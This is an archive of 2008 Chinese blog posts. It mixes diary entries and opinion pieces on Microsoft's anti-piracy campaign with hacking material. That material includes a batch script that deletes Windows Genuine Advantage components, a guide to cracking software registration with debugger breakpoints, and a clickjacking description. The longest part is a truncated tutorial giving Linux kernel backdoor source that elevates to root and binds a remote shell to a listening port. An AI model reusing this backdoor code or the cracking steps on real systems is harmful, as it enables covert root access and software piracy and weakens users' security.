好久没有在放松过,周末同学打电话一块出去玩,大家一至决议去北京欢乐谷,随着人流,我们也涌进了欢乐谷的大门,排好队,买好票,第一个项目,过山车,还真刺激,原本要把DV带在手上来录的,还好没有带,如果带在手上肯定偶去下面找配件回来可以开个配件工厂了,拍了几张PP,和大伙分享下

十月 27th, 2008

Posted In: 未分类

相信很多Windows用户在今天早些时候已经收到了系统更新通知,您是否会误以为微软的正版验证找到了您?很幸运这个补丁并不会给您的系统造成黑屏,然而更严重的威胁却已经逼近。今天早些时候的微软补丁,是两年来微软第二次打破常规的补丁发布,按照微软的命名习惯,此安全补丁编号“KB958644”( MS08-067 )。

  在微软施行每月一次安全升级制度以来,这还是第二次打破惯例。上次让微软破例进行安全升级的不定位,是2007年4月的ANI动态光标漏洞,可想而言此次微软补丁升级将会给用户打来严重的威胁。

  攻击者通过发送一个伪装的RPC请求欺骗用户接收,进而会使受攻击系统允许远程执行代码,更严重的是在部分系统上无需认证就能执行任意代码,因此对Windows用户的安全威胁不言而喻。IT专家网强烈建议用户立即更新相关补丁。

  MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pre-Beta。

  受影响系统、漏洞类别、安全等级详表:

http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

十月 27th, 2008

Posted In: 未分类

在职场上,这几个字几乎成了很多人的清规戒律,上至高级经理人,下至普通职员,概莫除外。

  低调做人,说白了就是一种谦逊。在菜根谭上就有这么一条:君子之心事,如天日昭昭,要使人易知,君子之才华,要玉蕴珠藏,使人非易知。伟人也曾教导我们说:谦虚使人进步,骄傲使人落后。

  谦虚的例子有很多,很多人知道晏子,这位大人为国家立下了汗马功劳,但做人怎样呢?在这里我不想说什么晏大人的事迹,咱们说一个与他的司机有关的事情。大人的司机觉得能够伺候他这么一个大人物,觉得很光荣,但这哥们时间长了,觉得自己仿佛也了不起了,一天在大街上驾车时横冲直撞,此时的晏大人也可能在忙着思考问题或者借机在休息,没有察觉,但是,司机的老婆发现了,等司机回家后,看见老婆在收拾东西,他问何故,妻子曰你目前只是一个司机但却如此狂妄,而人家为高权重功勋标榜的大人待人接物都是那么谦恭有礼,像你这种得一点志就忘形的小人,我做你的妻子感到羞耻!想必各位能够通过这个小故事一斑窥豹,能够了解晏大人的做人原则了吧。

  骄傲的后果有时可不是使人落后那样的结局了!商鞅变法,很多人知道的。秦国通过采取他的政策,很快富国强兵,为后来的秦始皇统一六国,奠定了坚实的基础。但是,这么一个为秦国崛起呕心沥血的英雄最终却落得五马分尸的悲惨下场。何也?原来,这同志变法成功以后,在老东家在位时,就好比火箭一样,地位飙升,到了一人之下万人之上的地步,如日中天啊,平日里,连王公贵族甚至少东家等人都不放在眼里,和人打招呼都是用鼻子!但是老东家刚刚驾崩,一伙人便联名上书历数商鞅的罪状,好家伙,简直罄竹难书。少东家这时也想起他的“劣行”,不假思索,大笔一挥,定下了“车裂”!教科书曾说,商鞅之死是因为变法损害了奴隶主的利益,但是,他死后,变革的那些举措并没有被废止啊!对大多人来说,只要仍有高官厚禄、良田美女,采取什么样的体制,大抵是无关紧要的!在日常生活中,我们也往往会发现,越是成功的人,越收敛自己,对人更是彬彬有礼,而一些半瓶子醋的主儿,往往趾高气扬,一派“老子天下第一”的嘴脸!

  再说高调做事,这句话我并不赞成。我们在当年受教育的时候,被教育要乐于做无名英雄,正如当年学雷锋,说雷锋出门一千里,好事做了一火车,但他只是说自己是解放军!俗话说:盐不言自咸,海不言自宽,天不言自高,地不言自圆!做事的张扬,就好比老母鸡下蛋,做了一点分内工作便四处“个个大”,也会让人讨厌!正所谓桃李不言下自成蹊,自有芬芳引蝶来。只要把自己的事情做好,他人尤其是老板自会看在眼里。如果到处自我做广告,那就是“王婆”!

  所以啊,做人也好做事也好,别那么张扬!

十月 20th, 2008

Posted In: 未分类



包含所有XP 2003 VISTA 2008所有版本的升级验证破解补丁点击下载此文件

十月 20th, 2008

Posted In: 未分类

微软为了打击盗版而实施的蓝屏计划,就这样又一次的刺激着我们的情绪。

  我认为微软的这一轮高举高打的反盗版行动,肯定是经过一定的策划和谋算的,最起码微软中国的高层们和部分的精英专家们,他们一定在风景秀丽的北京郊区或者某个疗养院里,对这个行动进行着前期的策划,以及如何执行等等商量了不少的时间。

  微软做了不少的铺垫,一种类似于拍脑门的莫须有的铺垫,这种铺垫除了让远在金融危机旋风中的微软高层们眼睛里看到了国人们给他们可能要干瘪的口袋里送去白花花的银子外,好像其他的都看不到,难道说微软的精英们不知道国人的收入比微软的精英们和专家学者们要低很多。

  从法律到道德,从技术到媒体资源,微软在这一轮从剿灭番茄家园的反盗版活动中都占到了正义的这一边,甚至连我这样的盗版忠实用户也觉得微软是应该做一些什么了。

  是啊,所以我们看见了,有一些所谓的“盗版用户”也跳出来支持微软的正义行为,并且决定用他们的行动支持微软,支持民族软件业的发展?

  真的怀疑他们的智力是飞机上的水平。即使全国人民都用的是正版的视窗软件,和民族软件有什么关系?想明白这个,才可以去和他们辩论,不然白白的吃亏,给他们赚了人气!

  不说他们了,就说微软,在微软此轮的打击盗版活动中,我分明听到了一个中年微软在更年期的迷茫,或者说是阵痛。

  微软这次面对普通用户的大规模反盗版活动,如果仅仅就此次活动本身,并不是什么特别的事情,但是放在整个大环境下,却可以透着人微软已经步入中年,失去了以往的锐气。

  第一:微软互联网战略的确实,使得微软在未来十年的竞争力看跌。

  互联网—未来最大的一块市场,并不是微软的强项。曾经以及现在都是软件行业霸主的微软,迟迟没有找到互联网的节奏,所以才一次次看着雅虎的崛起以及谷歌的称霸;尤其是谷歌,在可以预见的未来十年之内,和微软的竞争是残酷而激烈的。为了把互联网这一短板补足,微软甚至要收获雅虎。

  可惜的是,微软的对户互联网门户雅虎的吸引力终究还是要欠缺一些的,所以在互联网始终都存在在短板。

  互联网战略迟迟找不到的节奏,是微软这一软件时代的霸主步入中年的一个标志;这也意味着他曾经战无不胜的捆绑策略已经失去了以往的锐利,面对互联网时代,微软已经感觉到有一些的力不从心。

  微软急需“伟哥”,于是把眼睛盯在了中国,这个盗版使用者最多的国家之一。

  第二:新一轮金融危机的蔓延,使微软软件版图提前衰退。

  如果说互联网战略的缺失让微软在未来的竞争中处于下风,那么,新一轮的金融危机的蔓延而让微软实实在在感觉到了冬天的“寒冷”。

  “春江水暖鸭先知”—金融行业的危机爆发之前,众多国际金融机构肯定已经是有所预兆,某分析机构也说,此前的相当长时间内,众多金融机构纷纷减少了IT采购,作为软件业的巨头,微软受此影响颇深。

  并且由金融危机,到原材料上涨等等,从金融企业到制造业等等行业的IT采购都纷纷缩减甚至取消,微软近期面对的压力颇大。

  互联网战略没有明显改善,再加上企业采购的锐减,说微软已经到了拐点也并不为过,虽然有人说微软手里有几百亿美元的储备,呵呵,雷曼兄弟还管理着上万亿的资产那,这不说OVER就完蛋了吗!

  微软已经步入更年期了啊。

  有人分析说,微软原本是借助盗版冲击盗版市场,随后正版开路的策略已经失败了,所以借助技术手段,威逼利诱用户购买正版软件;呵呵,确实,据说更年期来临的时候,需要转移注意力。所以微软用了这招,在大家关注经济危机是否蔓延以及制造业的冬天是否来临的时候,微软成功了转移了压力,并且可以在未来可以预见的日子里说—利润降低不是因为微软不行了,而是盗版用户太多了….

  在这里,我不想为盗版做辩解,虽然可以从法律道德市场环境不同等等找到依据否认微软的行为,但是我并不想那么做。

  只是想以前微软以及微软的粉丝们注意一下,更年期的时候,发发脾气很正常,可是别太过分,不然更年期也会成为一种不治之症。尤其是妄图让我们这些普通的“国人”来扛微软的更年期之痛,更是一种有一些无厘头的喜剧色彩在其中。

  恩,我只是想说这些,当我在村里花了不到2000块钱买了一个奔四电脑的时候,让我在花千儿八百的正版软件来用的时候,我不知道是我疯了还是你傻了。

  微软的更年期不该给“国人”扛,这就是我想说的话

十月 20th, 2008

Posted In: 未分类

记忆中的四年前和四年后真的变成了两个人,原本没有太多想法的我,现在不得不去想太多的事情,那些我原本要想还要想的很清楚的事情,要做出决定真的好难,推了近两年,还没有一个完全的结果,原来真的是自己太懦弱,以后从那倒下会从那起来,结果。
今天刚刚好,也是我明天要搬家的日子,和同学一块吃饭,喝点酒,虽然不是太开心,但也纪念了一下,我只说这个日子对我来说有点记忆,对他们来说,没什么,这种以后大家都会慢慢习惯….再见不见…

十月 17th, 2008

Posted In: 未分类

届时,安装了盗版Windows XP专业版的电脑将被强行每小时“黑屏”(桌面背景变为纯黑色)一次,Office的菜单栏将被添加“不是正版”的标记。

避免此问题的方法 :

1.我的电脑-属性-自动更新-关闭自动更新

2.开始-运行(输入services.msc)—禁用Office Source Engine和Automatic Updates
如果20号以后出现每小时黑屏一次的情况,用下面的方法 :

@echo off
sfc /purgecache
reg delete "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonNotifyWgalogon" /f
taskkill /f /im WgaTray.exe /T
del c:Windowssystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:Windowssystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:Windowssystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:Windowssystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:WINNTsystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:WINNTsystem32WgaTray.exe /f /q
taskkill /f /im WgaTray.exe /T
del c:WINNTsystem32WgaTray.exe /f /q
echo. & pause

把上面的复制到记事本里保存,把记事本的后缀TXT改成BAT,然后运行.

十月 17th, 2008

Posted In: 未分类

Clickjacking是OWASP_NYC_AppSec_2008_Conference的一个保密的议题,以下是一些攻击的描叙:

  当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器以及所有版本的Flash等浏览器相关的第三方软件,除非你使用lynx一类的字符浏览器。

  这个漏洞与JavaScript无关,即使你关闭浏览器的JavaScript功能也无能为力。事实上这是浏览器工作原理中的一个缺陷。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上的任意东西。

  该漏洞用到DHTML,使用防frame代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些Flash游戏将首当其冲。

  最近国外的安全研究人员已经放出了该漏洞的攻击例子,以及部分细节,这种攻击是利用的CSS样式表的网页渲染功能配合IFRAME帧框架页进行的一种钓鱼网页攻击。这个攻击涉及网页设计相关的技巧,步骤是:

  1.在第三方站点的网页先用IFRAME引入一个需要攻击的页面,将这个引入的框架页长宽设置成整个浏览窗口的大小。

  2.在网页中使用一个CSS滤镜,将整个网页用白色滤镜遮蔽。

  3.使用span或div设计一个层伪造一个表单提交按钮、输入框或者链接,然后利用CSS样式表设置层在网页中的位置,遮蔽住需要劫持的网页按钮、输入框或者链接。

  攻击者使用这种方法可以制作钓鱼网页,诱导用户在不察觉的情况下,完成一些受攻击WEB程序的敏感操作。

漏洞危害:

  攻击者可以制作一个精美的钓鱼网页,让用户在不知不觉中被控制摄像头,或完成密码修改、网银转帐等的恶意操作,给用户造成巨大的损失。

http://www.youtube.com/watch?v=gxyLbpldmuU

十月 13th, 2008

Posted In: 未分类

 一、1989年10月——WANK蠕虫

  WANK (Worms Against Nuclear Killers)蠕虫入侵NASA(美国宇航局)可能就是历史上有记载的第一次系统入侵。某个家伙为了抗议钚驱动的伽利略探测器的发射而入侵了NASA系统,造成了50万美金的损失。尽管有线索表明此次入侵是一个澳大利亚黑客所为,但并无确凿证据,也无法找出这家伙姓甚名谁,该案至今悬而未决。

  二、1999年2月——国防部卫星入侵

  一小撮犯罪分子有组织、有预谋地黑掉了美国国防部“天网”军用卫星导致军事通讯中断,最牛X的是:他们直接端掉了该卫星的控制系统,把人家的主控程序搞乱了。美国军方焦头烂额,到最后却连个人影都没抓到。

  三、2000年1月——信用卡信息失窃

  昵称Maxim的黑客侵入CDUniverse.com购物网站并窃取了30万份信用卡资料。他叫嚣道:快给爷准备10万美金,要不然我搞个“信用卡大礼包”的网站把这30万份信息全都发出去。警方最后只查到了Maxim来自东欧,线索中断成为了疑案。

  四、2000年12月——军用源代码泄露

  如果控制导弹和卫星的源代码泄露了该有多好玩腻?话说就有这么个强淫,入侵了开发军方软件的隶属于美国海军的Exigent系统,拿到了导弹和卫星导航软件2/3的源代码。嗯嗯你又猜对了:没逮着。美军只查到该黑客来自于德国Kaiserslautern大学。

  五、2001年10月——微软数字版权保护被破解

  天下乌鸦一般黑,天下黑客却不都干坏事(所谓好与坏要看对谁来说了是吧)。Beale Screamer搞了个FreeMe程序来破解受Windows Media DRM保护的电影和音乐付费内容造福劳苦大众,M$大叔也拿他没辙。

  六、2003年10月——总统竞选也疯狂

  2003年秋,一个黑客为了帮助美国参议员丹尼斯库契尼奇竞选总统,黑了CBSNews.com主页,打上了标语来做竞选广告,点击后转到一个30分钟的录像。竞选班子否认参与此次活动,警方依然无能为力。

  七、2006年3月——MBA录取系统破解

  美国很多大学共用一样的申请人甄选录取系统ApplyYourself,每年数十万MBA申请者通过这个自动化办公系统提交申请材料、跟踪查看录取状态。然而等待结果的几个月时间令人抓狂,于是有个牛人破了这套系统并在BusinessWeek的论坛上公布了侵入方法,无数申请人利用这个方法入侵大学系统查看自己的申请状态,包括哈佛和斯坦福大学在内的很多名校也未能幸免。由于找不到这个黑客,大学拿所有偷偷查看自己信息的申请人出气:拒绝录取所有入侵系统的申请者。

  八、2007年冬——2万网站被黑

  又有一撮坏蛋控制了26000个网站,他们让访问者在不知情的情况下被转到含有恶意代码的网站,由微软和NBC合资的msnbc.com便是其中最大的一个“肉鸡”。

  九、2008年2月——超市客户信用卡被盗

  一黑客入侵了美国两家大型连锁超市Hannaford和Sweetbay,盗窃了1800份完整信用卡资料和420万个信用卡的部分资料。据分析该黑客可能利用无线刷卡设备的漏洞进行攻击,然而这两家超市压根就没有使用过任何无线刷卡装置。

  十、2008年5月——Comcast被黑

  Comcast相当于美国的网通,为数千万美国客户提供互联网接入服务。一个叫Kryogeniks的黑客组织黑掉了comcast.net的域名注册商Network Solutions(NTSL是美国一个大型域名服务商,包括微软和IBM在内很多大公司域名均由其管理) 并篡改了域名DNS记录,那些打开comcast.net的访问者被转到该黑客组织的网站。黑客如何******************了账号和密码令Comcast和Network Solution百思不得其解。

十月 9th, 2008

Posted In: 未分类

暴力破解的一般流程
1、有壳者自然得先脱壳
2、试注册看看有何提示,让我们抓抓小尾巴
3、若有提示,用OD动态调试器或者是W32静态调试器查找错误提示
4、来到错误提示处分析代码找关键CALL、关键跳!
5、修改代码
6、复制保存!

如果没有提示,我们可以使用很多断点来完成这些操作
现今软件的保护方式有
1、序列号保护方式(注册码=f(机器码/序列号))
2、警告(NAG)窗口
3、时间限制/次数限制。。
4、菜单功能限制
5、Key File保护
6、CD-Check
7、只运行一个实例

一些软件通过把注册码保存在.ini文件、注册表、.dat文件等等方式进行注册验证

常见断点设置(后面带"*" 的为常用的)

字符串
bp GetDlgItemTextA(W) ****
bp GetDlgItemInt
bp GetWindowTextA(W) ****
bp GetWindowWord
bmsg XXXX wm_gettext

对话框
bp MessageBeep
bp MessageBoxA(W) ****
bp MessageBoxExA(W)
bp DialogBoxParamA(W)
bp GreateWindowExA(W)
bp ShowWindow
bp UpdateWindow
bmsg XXXX wm_command

对于VB的程序用bp MessageBoxA是无法断下来的,bp rtcMsgBox

注册表相关
bp RegCreateKeyA(W)
bp RegDeleteKeyA(W)
bp RegQueryValueA(W)
bp RegCloseKey
bp RegOpenKeyA(W) ****

时间相关
bp GetLocalTime
bp GetFileTime
bp GetSystemtime

CD-ROM或磁盘相关
bp GetFileAttributesA(W)
bp GetFileSize
bp GetDriveType
bp GetLastError
bp ReadFile
bpio -h (CD-ROM端口地址) R

软件狗
bpio -h 278R
bpio -h 378R

INI初始化文件相关
bp GetPrivateProfileStringA ****
bp GetPrivateProfileInt
bp WritePrivateProfileString
bp WritePrivateProfileInt

文件访问相关
bp ReadFile
bp WriteFile
bp CreateFileA ****
bp SetFilePointer
bp GetSystemDirectory
VB程序专用断点:
bpx msvbvm60!rtcMsgBox
bpx msvbvm60!__vbaStrCmp
bpx msvbvm60!__vbaStrComp
bpx msvbvm60!__vbaStrCompVar
bpx msvbvm60!__vbaStrTextCmp
bpx msvbvm60!__vbaFileOpen
bpx msvbvm60!__vbaInputFile
bpx msvbvm60!__vbaFileSeek
bpx msvbvm60!__vbaWriteFile
bpx msvbvm60!__vbaFileClose
bpx msvbvm60!rtcFileAttributes
bpx msvbvm60!rtcFileDateTime
bpx msvbvm60!rtcFileLen
bpx msvbvm60!rtcFileLength
bpx msvbvm60!__vbaVarInt
bpx msvbvm60!__vbaVarCmpGe
bpx msvbvm60!__vbaVarCmpGt
bpx msvbvm60!__vbaVarCmpLe
bpx msvbvm60!__vbaVarCmpLt
bpx msvbvm60!__vbaVarCmpNe
bpx msvbvm60!__vbaVarTextCmpEq
bpx msvbvm60!__vbaVarTextCmpGe
bpx msvbvm60!__vbaVarTextCmpGt
bpx msvbvm60!__vbaVarTextCmpLe
bpx msvbvm60!__vbaVarTextCmpLt
bpx msvbvm60!__vbaVarTextCmpNe
bpx msvbvm60!__vbaVarTextTstEq
bpx msvbvm60!__vbaVarTextTstGe
bpx msvbvm60!__vbaVarTextTstGt
bpx msvbvm60!__vbaVarTextTstLe
bpx msvbvm60!__vbaVarTextTstLt
bpx msvbvm60!__vbaVarTextTstNe
bpx msvbvm60!__vbaVarTstEq
bpx msvbvm60!__vbaVarTstGe
bpx msvbvm60!__vbaVarTstGt
bpx msvbvm60!__vbaVarTstLe
bpx msvbvm60!__vbaVarTstLt
bpx msvbvm60!__vbaVarTstNe
注意:VB程序仍然可以使用普通API函数,只要函数“最终”CALL了这个函数
上面的断点对应VB6程序,如果是VB5程序则将msvbvm60改成msvbvm50即可

另外还有一类软件通过网络验证、重启验证来判断程序是否注册
当然前者一般应用于外挂程序上较多,一般是改网络验证为本地验证达到欺骗远程网络主机的目的达到通过验证!
后者也是很常见的,他一般把用户输入的注册码直接或者是通过加密运算后得到的数值保存到文件、注册表中,然后提示用户重启验证是否注册,当然当你重新打开程序的时候他会从文件或者是注册表中读取用户输入的注册码,再通过程序注册算法来进行比照,正确者当然就成为正版,错误的自然就88了,另外以重启验证的软件一般是把注册码保存在注册表或文件中!

下面来说说解决这类软件的一般方法!

重启验证类软件大致的验证过程。
1、运行软件输入注册信息,点注册后。一般软件会提示你重新运行软件,以便验证注册信息的正确性(如FlashGet);
也有的只在你输入正确的注册信息时才有这个提示,不然会告诉你输入的注册信息有问题(此软件就属这类)

2、要破解这种软件,首先是判断一下她把注册信息存在哪里(因为她重启验证时要用)。大致有两种存放方式,第一种是放在注册表里;第二种是放在文件里。(我们可以在输入注册信息,点击确定前,利用监视类软件来查看一下,如FileMon和RegShot等)

3、知道她的注册信息的存放地点后,就可以选则相应的API断点,来调试了

访问注册表类常用API
bp RegOpenKeyA 打开一个现有的注册表项 ****
bp RegOpenKeyExA 打开一个现有的注册表项 ****
bp RegCreateKeyA 在指定的项下创建或打开一个项
bp RegCreateKeyExA 在指定项下创建新项的更复杂的方式
bp RegDeleteKeyA 删除现有项下方一个指定的子项
bp RegDeleteValueA 删除指定项下方的一个值
bp RegQueryValueA 获取一个项的设置值
bp RegQueryValueExA 获取一个项的设置值
bp RegSetValueA 设置指定项或子项的值
bp RegSetValueExA 设置指定项的值
bp RegCloseKey 关闭系统注册表中的一个项(或键)

访问文件类常用API
bp CreateFileA 打开和创建文件、管道、邮槽、通信服务、设备以及控制台 ****
bp OpenFile 这个函数能执行大量不同的文件操作
bp ReadFile 从文件中读出数据
bp ReadFileEx 与ReadFile相似,只是它只能用于异步读操作,并包含了一个完整的回调
======================================================

常用断点(OD中)
拦截窗口:
bp CreateWindow 创建窗口
bp CreateWindowEx(A) 创建窗口
bp ShowWindow 显示窗口
bp UpdateWindow 更新窗口
bp GetWindowText(A) 获取窗口文本
拦截消息框:
bp MessageBox(A) 创建消息框
bp MessageBoxExA 创建消息框
bp MessageBoxIndirect(A) 创建定制消息框
拦截警告声:
bp MessageBeep 发出系统警告声(如果没有声卡就直接驱动系统喇叭发声)
拦截对话框:
bp DialogBox 创建模态对话框
bp DialogBoxParam(A) 创建模态对话框
bp DialogBoxIndirect 创建模态对话框
bp DialogBoxIndirectParam(A) 创建模态对话框
bp CreateDialog 创建非模态对话框
bp CreateDialogParam(A) 创建非模态对话框
bp CreateDialogIndirect 创建非模态对话框
bp CreateDialogIndirectParam(A) 创建非模态对话框
bp GetDlgItemText(A) 获取对话框文本
bp GetDlgItemInt 获取对话框整数值
拦截剪贴板:
bp GetClipboardData 获取剪贴板数据
拦截注册表:
bp RegOpenKey(A) 打开子健
bp RegOpenKeyEx 打开子健
bp RegQueryValue(A) 查找子健
bp RegQueryValueEx 查找子健
bp RegSetValue(A) 设置子健
bp RegSetValueEx(A) 设置子健
功能限制拦截断点:
bp EnableMenuItem 禁止或允许菜单项
bp EnableWindow 禁止或允许窗口
拦截时间:
bp GetLocalTime 获取本地时间
bp GetSystemTime 获取系统时间
bp GetFileTime 获取文件时间
bp GetTickCount 获得自系统成功启动以来所经历的毫秒数
bp GetCurrentTime 获取当前时间(16位)
bp SetTimer 创建定时器
bp TimerProc 定时器超时回调函数
拦截文件:
bp CreateFileA 创建或打开文件 (32位)
bp OpenFile 打开文件 (32位)
bp ReadFile 读文件 (32位)
bp WriteFile 写文件 (32位)
拦截驱动器:
bp GetDriveTypeA 获取磁盘驱动器类型
bp GetLogicalDrives 获取逻辑驱动器符号
bp GetLogicalDriveStringsA 获取当前所有逻辑驱动器的根驱动器路径

★★VB程序专用断点★★
bp __vbaStrCmp 比较字符串是否相等
bp __vbaStrComp 比较字符串是否相等
bp __vbaVarTstNe 比较变量是否不相等
bp __vbaVarTstEq 比较变量是否相等
bp __vbaStrCopy 复制字符串
bp __vbaStrMove 移动字符串
bp MultiByteToWideChar ANSI字符串转换成Unicode字符串
bp WideCharToMultiByte Unicode字符串转换成ANSI字符串

十月 9th, 2008

Posted In: 未分类

Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85
Date: 2008-8-29

一. 内核后门简介
二. 内核中系统调用
三. 使用kernel mode socket函数
四. 如何扩展后门
五. 参考资料
六. 相关源代码

一. 内核后门简介

所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功 能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的’root-kit’.
本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。

二. 内核中系统调用

Unix 世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api 函数最终都会调用kernel提供的sys_XXX系列函 数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断 int 0x80来执行sys_read函数,如:

int my_read(int fd, char * buf, off_t count)
{
long __res;

__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d" ((long)(count)) :"memory");

return (int)(__res);
}

这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能, 就必须调用某些函数来进行socket通信。 本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。

通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。

linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:

#define my__syscall_return(type, res)
do {
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) {
errno = -(res);
res = -1;
}
return (type) (res);
} while (0)

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
type name(type1 arg1,type2 arg2,type3 arg3)
{
long __res;
__asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)) : "memory");
my__syscall_return(type,__res);
}

my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);

编译的时候就会被展开成:

int read(int fd, char * buf, off_t count)
{
long __res;

__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d" ((long)(count)) :"memory");

return (int)(__res);
}

本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。

好了,现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:

linux-2.6.18/net/socket.c

asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
unsigned long a[6];
unsigned long a0,a1;
int err;

a0=a[0];
a1=a[1];

switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
case SYS_BIND:
err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
break;
case SYS_CONNECT:
err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_LISTEN:
err = sys_listen(a0,a1);
break;
case SYS_SOCKETPAIR:
err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
break;
case SYS_SEND:
err = sys_send(a0, (void __user *)a1, a[2], a[3]);
break;

}

通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET, SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:

struct sockaddr_in cli_addr;
unsigned long args[];

args[0] = sock_fd;
args[1] = (unsigned long)cli_addr;
args[2] = (unsigned long)sizeof(struct sockaddr_in);

sys_socketcall(SYS_BIND, args);

其他函数类似。这样就可以在内核中来使用这些socket函数了。

下面给出一个具体的监听某一个端口的例子:
int k_listen(int port)
{
struct task_struct *tsk = current;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
mm_segment_t old_fs;
char buff[100];

unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;

old_fs = get_fs();

tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++) close(i); if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); return 0; } printk("create socket ok.n"); /* bind address */ memset((void *) &serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); serv_addr.sin_addr.s_addr = 0; arg[0] = sock_fd; arg[1] = (unsigned long) &serv_addr; arg[2] = (unsigned long) sizeof(serv_addr); if ((socketcall(SYS_BIND, arg)) == -1) { close(sock_fd); set_fs(old_fs); return 0; } printk("bind address ok.n"); /* begin listen */ arg[0] = sock_fd; arg[1] = (unsigned long) 255; if ((socketcall(SYS_LISTEN, arg)) == -1) { close(sock_fd); set_fs(old_fs); return 0; } printk("listen on port %dn", port); cli_len = sizeof(cli_addr); arg[0] = sock_fd; arg[1] = (unsigned long) &cli_addr; arg[2] = (unsigned long) &cli_len; if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) { printk("accept error.n"); close(sock_fd); set_fs(old_fs); return 0; } printk("accept a client.n"); dup2(sock_id, 0); dup2(sock_id, 1); dup2(sock_id, 2); execve(earg[0], (const char **) earg, (const char **) env); close(sock_id); close(sock_fd); set_fs(old_fs); return 1; } 三.使用kernel mode socket函数 前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的,同样在linux-2.6.18/net/socket.c中: 在user mode socket中的socket函数的功能是建立个套接字,它是调用sys_socket函数来实现的,因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的: asmlinkage long sys_socket(int family, int type, int protocol) { int retval; struct socket *sock; retval = sock_create(family, type, protocol, &sock); if (retval < 0) goto out; retval = sock_map_fd(sock); if (retval < 0) goto out_release; out: return retval; out_release: sock_release(sock); return retval; } 关键就2个函数,sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。 有兴趣的读者可以继续深入这些函数,看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于 sys_bind, sys_listen等,我们用同样的办法来处理。有了源代码,看它们怎么实现,我们就怎么实现。 下面给出一个监听某端口的例子: int k_listen(void) { struct socket *sock,*newsock; struct sockaddr_in server; struct sockaddr client[128]; char address[128]; int sockfd, sockid, i,size = 0; int error = 0,len = sizeof(struct sockaddr); //set_fs(KERNEL_DS); error = sock_create(AF_INET,SOCK_STREAM,0,&sock); if (error < 0) { printk("[-] socket_create failed: %dn",error); sock_release(sock); return -1; } sockfd = sock_map_fd(sock); if (sockfd < 0) { printk("[-] sock_map_fd() failed.n"); sock_release(sock); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = 